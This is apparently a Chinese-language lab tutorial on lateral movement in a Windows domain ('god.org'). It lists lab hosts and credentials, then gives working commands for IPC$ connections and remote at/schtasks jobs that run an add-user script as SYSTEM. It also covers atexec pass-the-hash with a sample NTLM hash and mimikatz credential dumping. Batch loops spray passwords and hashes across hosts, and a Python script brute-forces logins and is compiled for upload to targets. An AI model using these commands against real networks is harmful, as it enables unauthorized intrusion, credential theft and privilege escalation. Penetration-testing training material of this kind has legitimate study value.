大致环境:
2008 r2 webserver
域内 web 服务器
本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :
god\webadmin:admin!@#45
-------------------------------------
2003 x86 fileserver
域内文件服务器
本地管理员账号密码 :
administrator : admin
当前机器域用户密码 :
god\fileadmin : Admin12345
-------------------------------------
2008 r2 x64 dc god.org
主域控机器
域管账号密码:
God\administrator : Admin12345
-------------------------------------
2012 sqlserver
域内数据库服务器
本地管理员账号密码 :
.\administrator:admin!@#45
当前机器域用户密码 :
god\dbadmin:admin!@#45
-------------------------------------
w7 x64 mary-pc
域内个人机
本地管理员账号密码 :
.\mary : admin
当前机器域用户密码 :
god\mary : admin!@#45
-------------------------------------
w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 :
.\jack : admin
当前机器域用户密码 :
god\boss : Admin12345
案例 1-横向渗透明文传递 at&schtasks
当获取到密码时
[at] & [schtasks]
当windows版本小于2012时,可以用at命令创建定时任务
at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator 建立 ipc 连接:
copy add.bat \\192.168.3.21\c$ 拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat 添加计划任务
当windows版本大于等于2012时,可以用schtasks命令创建定时任务
schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator 建立 ipc 连接:
copy add.bat \\192.168.3.32\c$ 复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F 创建 adduser 任务
对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i 运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f 删除 adduser 任务
案例 2-横向渗透明文 HASH 传递 atexec-impacket
当获取到密码时
可通过atexec.exe连接对方主机执行命令,支持密码为HASH密文
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
案例 3-横向渗透明文 HASH 传递批量利用-综合
当我们获取到内网一个主机的权限后,可以先通过mimikatz查询本机的密码
通过for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="
命令来探针内网存活的主机
此时我们已经获取了本地主机的密码,以及内网中存活的主机的ip
就可以通过这个密码去批量测试,尝试连接这些内网中的主机
可以自己写一个bat的脚本去批量测试
此处ips.txt为批量存放ip的字典
循环将F盘下ips.txt字典中的ip取出赋值给变量%%i,再由atexec.exe尝试连接
执行后会批量的不停更换ip去尝试通过连接
此处192.168.3.29这个ip的主机返回了system,就证明成功连接上并执行了whoami命令,它的密码与本机相同
然后再登陆192.168.3.29的主机,进行信息收集,以及密码测试,重复以上步骤
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文
连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文
回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP
回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测
HASH 对应 IP 回显版
通过python批量建立连接升级版
net use \\192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin
#pip install pyinstaller
#pyinstaller -F fuck_neiwang_001.py 生成可执行EXE
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.31',
'192.168.3.33'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'vpnadm',
'webadmin'
}
passs={
'admin',
'admin!@#45',
'Admin12345'
}
for ip in ips:
for user in users:
for mima in passs:
exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
print('--->'+exec+'<---')
os.system(exec)
time.sleep(1)
进入python的script目录,通过pyinstaller将py脚本编译成可执行exe文件,上传到目标主机进行ip,用户名,密码三个参数的自动测试
执行完后通过net user查看建立的连接,剩下的就是使用自带命令at&schtasks上传脚本进行控制。